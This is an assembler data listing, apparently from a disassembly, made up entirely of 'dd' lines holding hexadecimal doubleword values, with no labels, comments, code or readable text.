		dd 78202977h, 0B865015Dh, 28BAA963h, 20F5F994h,	0B013214h
		dd 0CC50666Bh, 13C46CB3h, 4B30007Ah, 296177D5h,	7E01DA52h
		dd 0ACCA7FB1h, 50805AA6h, 50FFD26Eh, 0A880CD79h, 0F02188A5h
		dd 7FB4AB00h, 922B06E1h, 0CE490051h, 0A342401h,	0B200E357h
		dd 3813151Dh, 50F8B983h, 387D94C2h, 9FCE0B5h, 63BAEE44h
		dd 0BF00A009h, 884E32B2h, 58E8EA00h, 0AA386054h, 3EA2B01Bh
		dd 8E8014B1h, 916E4097h, 0E51E022Bh, 4641C4ECh,	8598922Ah
		dd 30D229D4h, 0B8E09B87h, 49003411h, 1DEAD58Eh,	0C2A64h
		dd 386C09A4h, 36136BADh, 7C242F1Fh, 0FCB7CBC0h,	265787C8h
		dd 80BCE57Bh, 58F9BBF0h, 0A8033F17h, 0F57AF3ACh, 872AB05Bh
		dd 78F807ABh, 0A02355FBh, 1AC8C89h, 92FE1C00h, 0B98DC5B0h
		dd 192212FAh, 1D1BEC29h, 80FEF8BDh, 4E5F0502h, 389147h
		dd 69B484EDh, 0A8223199h, 0CE469C92h, 82164000h, 8B283EA6h
		dd 0FA04514h, 0F5BD0394h, 96EC37Eh, 72F3A711h, 28860180h
		dd 9D3BB061h, 0D6C20011h, 6C521236h, 0DD7002F4h, 6F0AA99Fh
		dd 48B1FC60h, 0AA30C861h, 0A8306CF5h, 39560474h, 0C0DA7843h
		dd 402D4CE0h, 0E92AB303h, 0EA1A4A44h, 0AB08490Ch, 6F015063h
		dd 5A3A7108h, 0FF407068h, 5EBF2C00h, 3850E3F6h,	0C9820043h
		dd 3BED371Eh, 8B00BEABh, 0D3CEB2B7h, 0DBC64CDh,	132A773Ah
		dd 40DF60D0h, 9D731700h, 340B0E96h, 80944859h, 8C654400h
		dd 27DA828Eh, 73B9A53Dh, 8041E438h, 0A6FA94B5h,	0E44F478Ah
		dd 0AA820009h, 0FF58BD8h, 0D41EA077h, 1240B704h, 2AB486E3h
		dd 0DC5E0149h, 5ADFAE82h, 2FB70BAh, 0D89739h, 915407A1h
		dd 72D05F72h, 0C9E92C35h, 0A3F6832Ch, 40980FA6h, 140082F2h
		dd 941AA10Eh, 76E093Bh,	20AFA4FDh, 0E025A7B7h, 49C7BEAAh
		dd 248D5607h, 0B221A713h, 12C95548h, 4C0DA8F0h,	2F08C451h
		dd 670035E6h, 7DBA8C29h, 0FE31550h, 7338F882h, 71161202h
		dd 0B8806D5Dh, 66E53E0Dh, 0B0365B26h, 0A411A1Eh, 159DFF8Dh
		dd 30D45020h, 1F605AEFh, 0D0007F53h, 8C5C5191h,	0D8E8E1h
		dd 4BD17C3Ch, 1EF8F1CDh, 9E2E93FEh, 77007C43h, 78136304h
		dd 1FED00EAh, 0D7584A34h
		dd 0B03C764h, 0AF1C2F2Eh, 65AEC0E1h, 619900B9h,	8553D45Fh
		dd 9500B4DFh, 7E82FAA3h, 0F0645Ch, 37D8A518h, 39F29443h
		dd 9A4F3300h, 1E36CBBEh, 3A237762h, 0AD8E2BD4h,	0D62078F5h
		dd 0E5EA68B6h, 77DAC300h, 289B97FBh, 38610530h,	4012947Bh
		dd 5BBF11CCh, 0FC00EA9Ch, 53C72C65h, 15EB6834h,	98AC1D52h
		dd 0D08E360Bh, 0E16C00A0h, 0E40084EAh, 962F06F4h, 216D85h
		dd 0FC1824F8h, 0D7628048h, 4015E601h, 63398A13h, 47F90840h
		dd 0EE65004Bh, 8345059h, 0E001662Bh, 0CD393F3Bh, 9824CFEBh
		dd 4EC90064h, 88F1FABh,	0B152CE3Ch, 0E9662010h,	5DD9C880h
		dd 25D537EFh, 0F27F4BE8h, 559F18DFh, 0DA926105h, 0F3142F80h
		dd 499801B5h, 59C9A6BBh, 0CE9CE0AFh, 831DEB00h,	0C6D132E9h
		dd 0CC3D03F0h, 8FAF3057h, 40A2FB91h, 0CFA954F1h, 29548CF2h
		dd 0B30031A0h, 0E03A562Eh, 5C53309Fh, 0A7004E64h, 0AB1F8F57h
		dd 9A30160Ah, 6AB1312Dh, 0B85360AFh, 470E5714h,	6B64CE00h
		dd 56309CE1h, 8DF86Fh, 3DC7690Dh, 29988BDAh, 0D2E42C03h
		dd 0D02ED153h, 9DF990h,	0F33AC34Ah, 3600897h, 66A7EE00h
		dd 546B8D7Ch, 6ACF0015h, 974CD74Dh, 0E03CCD37h,	0A2650022h
		dd 0B84B38EDh, 0BD010080h, 0A72E82BCh, 0B006074h, 5820E2F3h
		dd 901F5Ah, 0F0E80C45h,	9C68C72h, 38B83BE8h, 3821A21Eh
		dd 0A0871300h, 0C02343A7h, 506140A0h, 0CC003089h, 0DE260FC7h
		dd 496B98h, 9BC62454h, 2D392AD2h, 0DB915800h, 648B3EDCh
		dd 2FCE4C2Ch, 14B281Fh,	0CB9931F6h, 34F0504Fh, 7D76A438h
		dd 0AFEF3D06h, 60086DD2h, 3E0E2129h, 0D55E9CA4h, 0F6687C1h
		dd 0F7A0489Ch, 6A74C320h, 0CC2C63E8h, 1F5DA10h,	1AE5992Ch
		dd 0D0238075h, 0E9A03132h, 11C0E4C8h, 528F3CFBh, 2F1703CEh
		dd 306F662Eh, 210007A3h, 0D38D6428h, 0E8F511h, 0E7E2A919h
		dd 5C305049h, 0D486A1DCh, 0A68883Ah, 2D7602E0h,	83961174h
		dd 0B27EA439h, 10643165h, 0A44313h, 0F7673971h,	883709A1h
		dd 0C0D92E00h, 3359A3ADh, 421E1E9Dh, 4E4D0102h,	8098C33Bh
		dd 0F173DBA8h, 32E40EEh, 16CF0DD2h, 77A30C0Fh, 0E9002173h
		dd 2E624EF1h, 1B5B9D3Ah, 48AC84CCh, 3DEE5810h, 0C68E3000h
		dd 1562DBDFh, 0C003C4CEh, 0D8786A8Ch, 0ED98A096h, 0F2CF1D2Fh
		dd 59C1471Eh, 446060ECh, 9201B10Fh, 56B743AFh, 0C9D1BD15h
		dd 782DE0h, 6B444B06h, 834CB8A5h, 0B23208C6h, 0A00A0020h
		dd 44BB1506h, 7F033831h, 76D871A7h, 0C1FBCD05h,	91BA9951h
		dd 76805858h, 5B445106h, 2131608Ch, 16069E08h, 6C90F000h
		dd 752720FDh, 44C0098h,	0B15781CFh, 15303902h, 0D04D600Bh
		dd 5CC1C8C9h, 8506C1CFh, 344A7B44h, 6A20C00h, 1F4824D3h
		dd 56541703h, 804E099Dh, 1BD2AB7h, 86A31C9Eh, 31CE0C2Eh
		dd 0CD389FBEh, 950EF5C7h, 6893CC3h, 4528CA18h, 0A23C90B6h
		dd 75080A1Ah, 534480A6h, 86065067h, 448C7344h, 6F60B30h
		dd 15373Bh, 0D39676CCh,	1B3680ECh, 80AD95AAh, 0CBAE6098h
		dd 0F6E0AB0Fh, 3C8BA037h, 1EE53261h, 9CA67FD4h,	90AFA5Dh
		dd 3144B531h, 80C28598h, 0EBFEF7A9h, 455FD0h, 75FAF6D4h
		dd 1FA637C3h, 23C3D0Ah,	1400984Dh, 0C6EA8A8Bh, 534B1C25h
		dd 0D112C095h, 240BED27h, 92E13101h, 4DC8A105h,	964EB02Fh
		dd 54D16A00h, 0D34B4F28h, 5A340F62h, 0E84505F5h, 0DE00BF1Dh
		dd 4DF7CBFh, 0C66777D9h, 20521608h, 87E20B3Ch, 46B48D99h
		dd 0D1CAF7A0h, 3A4E00Ch, 9A5416E6h, 0A7B0EDEFh,	50E1D48h
		dd 0E06EABD4h, 0F4B76DCEh, 7048D94Dh, 6C42D032h, 811CF60h
		dd 1D48ABEh, 4FF281D5h,	0D1F1992Dh, 1B2197FCh, 88AAC100h
		dd 0ECDC0D2Ah, 0FF380117h, 4FDF4CB2h, 96D19158h, 0BB8FD480h
		dd 208CBF7Ch, 273C53EFh, 0D4C8BDCh, 0C59783F2h,	0EB48F834h
		dd 6E67DA2h, 0DAB0DF06h, 0FD035004h, 5841113Bh,	0A0E4D82Ah
		dd 0FBAE7412h, 449C2180h, 16E7A111h, 733B8606h,	0FF1A0DDh
		dd 0FC6672AEh, 0FB654460h, 1238B2EEh, 80DFBBF7h, 3E4C0D29h
		dd 18B3345Eh, 0D082BD6Ch, 0B700137Dh, 96240E09h, 0AD1714h
		dd 0D0CFFBA2h, 0A321D3EBh, 3006D100h, 6B82BB25h, 3C97012Dh
		dd 0F1C428C2h, 75A5C0DEh, 1FA6EE3Ah, 8507E91Bh,	0B200F58Ch
		dd 0EBB2949h, 0CAE04C5Eh, 4BA0CF6h, 0A633DB38h,	0D83040B2h
		dd 0EF80B90h, 2F570FB3h, 65A91898h, 48D9A830h, 9C444Ah
		dd 214D9D7Eh, 0B1B7A2FAh, 3BCCC200h, 83765456h,	1AB185Dh
		dd 599618E1h, 7C080578h, 80FD814Bh, 33A78EDAh, 8D0371CFh
		dd 837C22C5h, 0FA20EEF9h, 6767CC4h, 0D70B0CB3h,	5500E129h
		dd 0D3ECFE0Ah, 0FA9FAC69h, 8AB00331h, 3D0FB42Fh, 0D2DCE1DFh
		dd 29308130h, 787E862h,	0F714E70h, 3C0A83F3h, 0F1C98886h
		dd 6878DF00h, 0E5EAAFD7h, 1BBA00F9h, 928EE1F8h,	0D0035A21h
		dd 263EE73Bh, 0FE13B887h, 80D6000Bh, 5F31B381h,	12011909h
		dd 5A9001E0h, 2080E1E3h, 0C58BEE67h, 0D21E7EDAh, 90006B9h
		dd 91255E76h, 19550344h, 0C99AAA8Dh, 5400307Ch,	0B47AF4C1h
		dd 6007628Ah, 424C19E8h, 0B59845D9h, 1DC4E18h, 6754A0h
		dd 0EF91E125h, 0A4FD9B88h, 62061300h, 0E94D0DF3h, 0C6890046h
		dd 5F09B1C2h, 0E180831h, 9041DA56h, 0E8026B30h,	6C536840h
		dd 62B28D0Fh, 5ED5E118h, 21860550h, 398B610Eh, 99CABC0Ch
		dd 6FF078F7h, 268020E6h, 421FA32Ah, 85770D00h, 978F4E54h
		dd 0E6500036h, 1E32486h, 870FD47Eh, 6F5FD142h, 6089EFD0h
		dd 1A08C3C6h, 1467C8Dh,	0BF7DB04Fh, 0F0CF1960h,	4E392DF2h
		dd 0EFC7CD8h, 0CA325918h, 1F94B629h, 4C7DFEA1h,	0F43011C9h
		dd 5CA23118h, 3B0AE220h, 0C8EFE9Fh, 1158E6E4h, 1200F3C2h
		dd 0B59A3AA8h, 74E865B2h, 21C66FF2h, 0CF12FBE0h, 90005D3Fh
		dd 0DDFA406Dh, 0AEA03h,	3644BD21h, 1FF3451h, 69B27A30h
		dd 0E8009DEh, 485345F8h, 323B8143h, 2100CFB3h, 0C800E75h
		dd 79472701h, 45710317h, 0A9468ACBh, 0AE6E01Fh,	3B16F6C0h
		dd 0C17FA351h, 65CFE291h, 833AD1C2h, 6031379h, 3F280012h
		dd 76A41FBFh, 9E3C93AEh, 0DB1D00B2h, 0EC580425h, 799F0021h
		dd 50737ACBh, 38078FC5h, 0A1766389h, 9B3180AEh,	35D03Bh
		dd 5BC23A0Ah, 3C2C424Eh, 55CC4500h, 0DC06E0BFh,	9E651DAEh
		dd 7EE3C01Fh, 0C1B8255Ah, 7900B073h, 0B5D514D7h, 11BCAh
		dd 0FE55E13Eh, 0AB9CE5F8h, 16420416h, 433A9600h, 19FE333h
		dd 37723E50h, 0D0D28C79h, 47014CA9h, 1B788A04h,	5A200774h
		dd 2917E3Dh, 2BE39C7Ch,	0B862BAA9h, 0F51B3D40h,	51FB0400h
		dd 76836A9Fh, 7725000Ch, 7D58DECCh, 96013668h, 0F9D55330h
		dd 9984D4Bh, 2E0821C4h,	0AB779600h, 52C9851Eh, 4A4C00F8h
		dd 7FFB1038h, 560F147Bh, 0A0DEC87Dh, 20CA8930h,	123A0C2Bh
		dd 6D0842D8h, 391921C0h, 0EDBA89h, 0D5D26A86h, 0DCE6C38Bh
		dd 6E6B7903h, 3426957h,	90D85078h, 68316A98h, 7FFE4155h
		dd 2E3890D6h, 20441189h, 9E70883Bh, 0A4890F2Bh,	407799C0h
		dd 0E97F8047h, 0CA6D6E07h, 0CD95594h, 1BE6123h,	0F9438C2Eh
		dd 0D9146C11h, 9B089819h, 0F426D721h, 56ED00D0h, 8D3003C6h
		dd 0DE0D1F90h, 0C04199FFh, 0A052EFC8h, 252F8Ch,	103B21E0h
		dd 0C5338C1Eh, 730B9276h, 97B0D6h, 37F7634Bh, 0D5DB1E85h
		dd 0E7DD005Ch, 0B5E22D2Ah, 9C7D0E78h, 9B4C3C00h, 9698F153h
		dd 7E73004Ah, 0DADF7749h
		dd 0B207DB8Ch, 0DEA76D94h, 0EEFAA680h, 0E41F1D18h, 0C0321FB5h
		dd 390FC86Bh, 9701935Ah, 5B1A963h, 2194EF55h, 0C830FEDDh
		dd 0A7EB2E39h, 0E8DEAAA0h, 0AE5B6F00h, 40DB4FD8h, 5502011Eh
		dd 4A27181Dh, 8E4180B9h, 73BE9307h, 0E2F60C21h,	0DA08596Bh
		dd 0E3F521C0h, 0EEE0A593h, 0FB8601E9h, 1C906FACh, 0B0588C18h
		dd 429008h, 29747B9Dh, 0A5D53438h, 52615E07h, 2DC0F4C6h
		dd 226E888h, 1E336D6Ch,	90E0B466h, 64986117h, 0B7936700h
		dd 0D5A6EFDDh, 683F0E29h, 6D8087ECh, 0DF8CE1B5h, 0F4A72618h
		dd 76B6F29h, 6228EF2Ch,	90E0F36Ch, 1E3098E3h, 0DA7A20AAh
		dd 0E1A20F24h, 55205D76h, 74032ECh, 0D0A0AF78h,	15037330h
		dd 7271616Dh, 0DD60D0C3h, 68380111h, 0A65AE434h, 0C853866Ch
		dd 0D58ABFAh, 709A3286h, 96544318h, 5CC027F3h, 7700B374h
		dd 126AFFBh, 7CAADBDDh,	2F6C307Eh, 0A0992819h, 0C90E40h
		dd 0D91D41DDh, 7B1597C8h, 9FC4D501h, 287451FDh,	0C67E4h
		dd 4B37F252h, 0FC55CD19h, 2D6CC507h, 32A09EF0h,	3CB806h
		dd 187EC24Fh, 7C1C8D6Fh, 0E485610Eh, 0B7418678h, 76C73820h
		dd 0A200FD48h, 3FD1E8B4h, 2C3F44A7h, 0FC500137h, 2331DC5Fh
		dd 935EECh, 0B13C9EEFh,	68C48508h, 6F482263h, 2198F91Dh
		dd 33588BF4h, 6108C916h, 0D5D62100h, 4663715Dh,	0D3BD00DEh
		dd 758C3D90h, 5E75A80Fh, 5F9420EDh, 22B90C60h, 67C5E5E8h
		dd 0A72478B3h, 0C7AA1F9h, 80A13198h, 525CE759h,	956B15h
		dd 0CB329AFBh, 4EB4A172h, 74175A01h, 0A9878A85h, 4625D0h
		dd 9798D486h, 1D213F79h, 0F1F27200h, 0E6D72ABAh, 5C4F405Dh
		dd 97438400h, 0EB2916DAh, 269E3AC0h, 9B215730h,	750243A2h
		dd 0AC8D729Dh, 9F888034h, 0C1B8618Eh, 0F34550B0h, 1BC9EC6Dh
		dd 999096E8h, 0FE5BEF07h, 0A263833Fh, 73C0E42Ah, 0EC58BE34h
		dd 4BBD48A9h, 0ADB71603h, 75811E5Ah, 739EC074h,	6CB81B00h
		dd 977BDC60h, 8DF65C1Ah, 3DC84351h, 42510374h, 65612C4Fh
		dd 1F86E8D8h, 63389200h, 347D1095h, 20C42EEDh, 87571CDBh
		dd 7004708Bh, 9497FEBEh, 8387A807h, 60F03B69h, 1FFDA084h
		dd 791903C5h, 934F2A81h, 0C066ADF0h, 0D81FE5D6h, 0AB409FC2h
		dd 46D7B51h, 0EA1A00DBh, 0F544477Ch, 9573756Fh,	0D601A200h
		dd 0FA2EDA06h, 79813CAAh, 0CC40E000h, 5D5229BDh, 7070E5FCh
		dd 85A32700h, 3E13EE0Dh, 0AA3A004Fh, 0E10ED708h, 6FFE31E3h
		dd 70B8C501h, 0F02F79CDh, 7A6B6880h, 0D7FA3E0Bh, 3107407Ah
		dd 0C4E79188h, 8CE579B1h, 408F53C9h, 4FE0DB15h,	0C4E9810Ch
		dd 3300A07Ch, 52FF7A7Fh, 1D86D7F0h, 98EDB86Eh, 445CE86Dh
		dd 3E001376h, 0CFB7A73Bh, 0A051F5D8h, 6F4CB96h,	0D10DE57Ah
		dd 1300D04Dh, 74670FDBh, 0E78AD5h, 0EF02A53Fh, 7F83B8D7h
		dd 0FBCF501Eh, 0F0423AC0h, 7AE48FFh, 6535AFA7h,	0AB586017h
		dd 0A35F45Dh, 148081F1h, 0CF56EBE7h, 0B0BBD11h,	7DE84F81h
		dd 0EB7980CEh, 0B9011A8Eh, 0E92F006Ah, 0A37F47D9h, 4A01AEBCh
		dd 0B31C0CDBh, 36D8D209h, 597FCBh, 14AAAB07h, 0EBBB937Eh
		dd 0A600857Ch, 5B6C256Ah, 0EB8AEFCh, 0EAC567DAh, 551EA460h
		dd 860C3D9Ch, 480E546Bh, 0BCEE03C1h, 3948A65Ch,	0B97D5EC0h
		dd 0A45B9403h, 0FA78312Eh, 0AB928036h, 666EE9Ah, 0C4DDD9F9h
		dd 590030E8h, 20C37D4Bh, 7DA83402h, 72892807h, 524E3A30h
		dd 10571D98h, 0DC07734Ch, 0EBD68AF5h, 0D6C4B683h, 58C00D1h
		dd 0F7A8A3BDh, 69002C1Dh, 1D91A43h, 1DAE382h, 64F0AD5Fh
		dd 0EC880FA4h, 1D0089B8h, 0D0A73C50h, 18D878D2h, 99CFCD24h
		dd 3B0FF363h, 0AFBC9958h, 0A0832526h, 1F248848h, 3013B9h
		dd 857E1D49h, 0E1005304h, 766AD6EDh, 7B2BEFh, 4A901E65h
		dd 3630C53Eh, 0B4C72300h, 3367E5EDh, 0EE0800CBh, 9AA40CF7h
		dd 0B91A3C54h, 1511A87Dh, 138BC704h, 0FE07F4Bh,	0B3000E0Dh
		dd 0D8380937h, 3CBC2F3Eh, 9E00E9DCh, 0B5CE35B2h, 0C03B714h
		dd 3273F54Eh, 133AB87Ah, 912F502Eh, 3E080470h, 0C0FBB3C8h
		dd 0F5BD85F8h, 0DFBF3C1Ch, 0F6BB96C0h, 0AD250Dh, 842768A3h
		dd 75C065B9h, 0CF1FBD7Dh, 15800685h, 645B0713h,	974D00F4h
		dd 59B434CAh, 0F65855E7h, 7A9B0036h, 7B4B22C8h,	40AB3A88h
		dd 0EADDCB00h, 0D244FB97h, 80FF3439h, 8D62D14Ch, 1FBBB0h
		dd 0C20A91B9h, 67EE1B70h, 0CC8FAD00h, 6F6DB87Bh, 64EA602Bh
		dd 1643B30h, 13195701h,	9CCD2AC0h, 1D92C8E0h, 0CC7235A0h
		dd 0C75A3023h, 0CE13600h, 196A8DA9h, 89F70032h,	97FD4992h
		dd 0E7003E5Bh, 0A5502612h, 97D54h, 86C1BEE9h, 3A084166h
		dd 98726500h, 36C3D7C0h, 0AFEB39C2h, 0FB9C780Eh, 0C59D7D20h
		dd 0D0548FAh, 0A6BBE546h, 325EDC00h, 846ECDh, 239493ABh
		dd 0D415F2BAh, 118D7D30h, 6C8919h, 0E0AEEF1Fh, 8093CC05h
		dd 0C0FCA354h, 0B0493C00h, 0C3AAB32Fh, 62EC1B17h, 1DF07873h
		dd 0F01C030Eh, 6A9D8A69h, 394E7C83h, 0B5A78860h, 0EC8FE93h
		dd 8966EDD6h, 33496480h, 94316FF6h, 0F769818Fh,	19C71ECh
		dd 0A8EF3E24h, 0C80ECA3Fh, 2A18E310h, 0AF28981Bh, 0E21D00ABh
		dd 0CC19329Eh, 0D80F3D2Eh, 0BADC917h, 2CAF018Ah, 8FC0276h
		dd 0E973004Eh, 4A129CBDh, 6101AEE7h, 0F5ADB29Bh, 0B0707CB1h
		dd 97850036h, 0F7BBCBFh, 43B0A774h, 9CA0D63Eh, 600FD258h
		dd 1C68A415h, 0BD377580h, 7BA6001Eh, 0AA4A6F2Dh, 0B400325Ah
		dd 0E255BA0Fh, 2A8D31h,	0B09F2C97h, 33CF5C30h, 39C91F0Fh
		dd 9AA5870Ah, 249540E0h, 26876F5h, 1E23C86Bh, 0BC807E83h
		dd 0B1E0A8CBh, 0D317504h, 7090EAB2h, 39E18060h,	748F204Ah
		dd 0A1E39D10h, 46B09676h, 21005844h, 78FA4C4Eh,	9B2B5Ch
		dd 0FF721170h, 0B23DD6CFh, 0E80D0B28h, 8102DFF7h, 5535B1ADh
		dd 62B0A01Eh, 0D336CBh,	3FBDE705h, 0B847ACADh, 1CEE2E5Ch
		dd 0C4C0E5F2h, 4989EE24h, 0B071005Ch, 0C034E3A1h, 0C212A4B1h
		dd 0C009E7Ah, 41E0FD2Fh, 0F958C097h, 5FF74CE6h,	0AF2AC890h
		dd 0D900FCC4h, 367FA22h, 2655784Ah, 304E63h, 6040E90Ch
		dd 480364D0h, 0B57AC36Ah, 0FFCD088h, 0D3DD01E7h, 902FEBE4h
		dd 520470D7h, 0BE3E1800h, 8925389Dh, 78E30014h,	0BABC53E2h
		dd 0F871695Dh, 86B48h, 75CB723Ch, 0CAD74Eh, 0ECC1FEAAh
		dd 114B135Bh, 69280900h, 0E7EB943Ch, 0E45E009Dh, 0B0FC44E5h
		dd 0ED030537h, 0DEC542E9h, 0C016E8D2h, 1BB8008Ah, 6F84AF08h
		dd 0B503221Ah, 0B04DDCEh, 0F3A0C8FFh, 0EA6400DCh, 49297A94h
		dd 0A600929Dh, 0E518FBCCh, 7061511Eh, 0D1620504h, 6F5740h
		dd 0DCC4CA9h, 4900A61Bh, 92DC5F8Dh, 4628ECAh, 1ABD3064h
		dd 40B5C528h, 3C27B5D4h, 0F1F822ADh, 780030F0h,	0E4686702h
		dd 0BEB601h, 22A9F4ACh,	0B1E50D38h, 0C383E707h,	72D3AA71h
		dd 0E4F2E0B9h, 189504BDh, 801ED21Ah, 0CE23483Ch, 0EC012F07h
		dd 92A08685h, 7C0B1981h, 0C52600C4h, 0BDF4391Bh, 6D005980h
		dd 0A7E7CD1h, 3CC3589Dh, 13008EA5h, 0A0020151h,	0F100AAF8h
		dd 48617A3Dh, 94103Ah, 13F95F30h, 0E22FC4BCh, 6BEBB900h
		dd 0A40E3C91h, 0E5DF0036h, 585E1EFCh, 903CE6BEh, 8BCC80E7h
		dd 966910Ch, 0BC705077h, 988200ADh, 0D7D5D469h,	0BF002B92h
		dd 648D1B83h, 0A17F8A80h, 0C4241984h, 8E2B0279h, 0F6636888h
		dd 1C7BD660h, 18DF6906h, 0E8107338h, 60E818F3h,	8A374C09h
		dd 598D5100h, 0B4C6DA1Ah
		dd 282D00A9h, 0DC967919h, 29E2355Fh, 21395001h,	90B9CEE2h
		dd 9A782D4h, 0BDDE52D5h, 48A17C0Fh, 6426683Bh, 0C4EA01B0h
		dd 1F559538h, 0D64799D8h, 0F990C7BEh, 6ED4Fh, 525AB6CFh
		dd 3798CB11h, 0C10F2000h, 26A2079Eh, 577056h, 0AB46A070h
		dd 666E89D0h, 506C0A00h, 54A6B75h, 21D667D7h, 94C910C6h
		dd 2E016AEFh, 3AD48D01h, 0EC20C7EBh, 509E003Dh,	0B74AF67Eh
		dd 9C009FD9h, 0A24E54D3h, 820646h, 0DCF5C540h, 0C056F07Bh
		dd 0F90EED7Ch, 0C070AEB1h, 0A32390FAh, 5B111FA6h, 41555FB6h
		dd 0BC2A4DDAh, 8B0ED821h, 0F2F33900h, 72CEEA58h, 9720006Ah
		dd 0C545C8FCh, 6B00D88Ch, 1A2D333Ch, 84B129h, 54CE0A12h
		dd 2AC52E24h, 0EA3D6276h, 0A6FF3C9Bh, 0B3876027h, 0C950122Fh
		dd 7B35BE18h, 0FFB80032h, 0FE90CC8Eh, 9B0392F4h, 0E0A7535Bh
		dd 16DEB8A1h, 51E41C5Fh, 0A3D7C166h, 400C31AAh,	37D12D3Ch
		dd 0C1DD4800h, 7D153A51h, 7CCC034Fh, 0F2324788h, 13943788h
		dd 0C20060FAh, 6A4CEA42h, 2EDB76Ch, 2AFBEE81h, 8CC0205Ch
		dd 83986D8h, 834B0074h,	0BA7D7BC7h, 0A752C0C8h,	0EAA2E236h
		dd 80859D38h, 0D8DA4743h, 5BB907h, 0EF337B67h, 6A13A589h
		dd 10D13900h, 0F2A902F7h, 65E72FFBh, 0E33C86F8h, 39A7001Ch
		dd 0F46EF752h, 0ABA4035Ch, 66A807C8h, 0DB613F9Ah, 0C276DE9Dh
		dd 0E4693B80h, 167EBC1Dh, 3D0451h, 362C6BBBh, 6E7AD89Bh
		dd 34D5CCF1h, 3CCB0A16h, 76356020h, 0BA187ACFh,	0ACE0D8h
		dd 0DA4D86C7h, 5B17722h, 4A74833Ah, 27292400h, 0EB017AFh
		dd 0A7236C66h, 0B51D3E80h, 6D30D109h, 879B28A5h, 0A3110386h
		dd 9E2B1351h, 5CA071A3h, 0AF5D3130h, 8423144Ch,	8BD5012Ch
		dd 0D326344Fh, 7201F0CFh, 0DB14015Ah, 0A46721F4h, 0EB00C666h
		dd 18B27498h, 717B371Dh, 5B0F4C95h, 55516E23h, 0F813068Ch
		dd 6198C4h, 9654BE97h, 3BC09DA6h, 2EC68217h, 404F4F00h
		dd 0A55BB7EBh, 0C8EF1064h, 2BAF022Dh, 34804C62h, 0E26DE3FBh
		dd 86E234F0h, 68104200h, 13C25419h, 0E3C00078h,	94ECF843h
		dd 363998C5h, 0AD861h, 6D5C778Ch, 74F5F039h, 1DAA0046h
		dd 515DF1D2h, 44001799h, 0E1926082h, 28DF72h, 555BE613h
		dd 4DB7111Ah, 6DD30900h, 2C315DF4h, 0DD51893h, 265CA866h
		dd 221B5307h, 9200E765h, 1F0580B7h, 2B4F3Fh, 0E25A8D06h
		dd 70005966h, 0CE30782Dh, 1A30A0Eh, 73A7F3Eh, 0E40BE3D2h
		dd 34B0DB05h, 67D82600h, 2E367BA3h, 0E15607D0h,	0E9CE387Ch
		dd 6380B98Fh, 3ABEEB6Bh, 0B5BB1D02h, 0A070FB0Ah, 0F72F9E94h
		dd 0F4D90915h, 601085F6h, 133F5D62h, 80463912h,	92AF937Dh
		dd 42A5B42h, 71B5A876h,	14B4D01Ch, 850F685Dh, 23A7177Eh
		dd 88EB9D0Eh, 146C897h,	7F6330C4h, 8EB2EF1Dh, 0C008F630h
		dd 589F674Ch, 92F7376h,	0FE9C752h, 0AC06B500h, 0DC0044B5h
		dd 0F018BD57h, 1689FDh,	931AB663h, 0A8502611h, 86285C00h
		dd 744939DAh, 0C0A10057h, 65E08C89h, 587F26C7h,	0D19B1E01h
		dd 162FD95Bh, 0ED75B18Bh, 1D4688A0h, 7700FBE0h,	0BF8E9205h
		dd 9E8B4Eh, 527A22B7h, 21792319h, 0A5ACC92Eh, 0F53D2F00h
		dd 947D8Ah, 0BE368F29h,	0FA58951Fh, 0B3B5DF07h,	7E40C75Ch
		dd 7409F108h, 1BE80079h, 0BD9C1C2Dh, 4FB84A0Ch,	0ACF80F74h
		dd 93338700h, 0D5B6AEBBh, 82C21FBFh, 767E01E5h,	0B8679847h
		dd 1268158h, 0D383A3F0h, 22BAF4h, 8F234B0Dh, 0B11F39BBh
		dd 3652B601h, 0BF992BC3h, 725178D0h, 677718F1h,	20A760D8h
		dd 0AC3F6E00h, 2930FE8Dh, 177181h, 8721B53Ch, 0D90CBCEAh
		dd 90094700h, 0EEACDFB1h, 2B1A1B65h, 0A5C1C8A9h, 7E088FABh
		dd 11181796h, 0B6C519h,	5891BD11h, 8FC3AD18h, 828EF61h
		dd 8EDCCE55h, 56C00C75h, 0A118D5E0h, 0C83E691Dh, 2EC59714h
		dd 4000F2D9h, 0AB2DCCDBh, 89B0C7h, 9626A30Eh, 0FD20237Dh
		dd 5DCD8000h, 4A1AC5A1h, 6D9105D1h, 21D28715h, 3F5724h
		dd 31CDD460h, 9EE6BF0Bh, 0E89086D7h, 98B9B394h,	2401005Fh
		dd 81ECD2D4h, 0CD003887h, 9805FCCCh, 0FD74C9C3h, 541F8C40h
		dd 0FDFE0CF0h, 67484B07h, 0E0A06613h, 2C262601h, 2BF0AD97h
		dd 5EAE286Fh, 655305DCh, 18D67D9h, 0A68918C0h, 87F050FFh
		dd 0CB03592Dh, 9E2C7CF6h, 6B72901Bh, 0F350001Ah, 66549529h
		dd 60C1B988h, 57F11CFDh, 3075B8D8h, 0C3C17496h,	0AF00BD41h
		dd 0A758CA31h, 749BB9F5h, 736EA93h, 668CE367h, 0B8EB93F1h
		dd 0AF2B85E0h, 8090C16Fh, 58DC6301h, 0EE945855h, 0E3063B02h
		dd 94AFC352h, 0EFFFC282h, 0F1CD8080h, 0F20764E6h, 6385A8BEh
		dd 0F488BD6h, 0CB832138h, 0D3792580h, 6F023C0Bh, 7C4A3AA0h
		dd 15DE67h, 0E7E1D908h,	0BF72A5ABh, 4AD49h, 30DE03CBh
		dd 7C4AB9AAh, 84A700CEh, 90251DF6h, 850FD6B2h, 0E13C3506h
		dd 0DFFD2350h, 0E6A4460h, 9D3AD15h, 7367E420h, 1EE45FDDh
		dd 0A62A5700h, 98FCFB38h, 0FD1C0D07h, 1B106290h, 0DE598104h
		dd 0EDF0FFEFh, 515C003Bh, 0B3338F4Fh, 811E688Ah, 31004140h
		dd 1C6DD8A9h, 6E89285Eh, 97C9Bh, 7BBBDC03h, 3692569Fh
		dd 0ACC1F403h, 0A35CC73Ah, 2841A095h, 0C59F3C71h, 43597880h
		dd 0EF198056h, 0FC92DE00h, 8F1C7D3Fh, 87C00062h, 6BE47660h
		dd 0C70090D2h, 44A37277h, 62A6D9h, 0EF8978F7h, 50FA0AF3h
		dd 0D91AF82Ch, 0C1259C00h, 0F672A1h, 0E97F9D09h, 58207A06h
		dd 83D98700h, 0BD4F235Eh, 5634014Ah, 458B30B8h,	0C1B5E055h
		dd 0EA1F4C00h, 492D3B99h, 507A0095h, 51B1C063h,	4C1CDCE8h
		dd 4881FABEh, 22ACAFA4h, 0F65FC0h, 358291A8h, 0E8BD4A9Ch
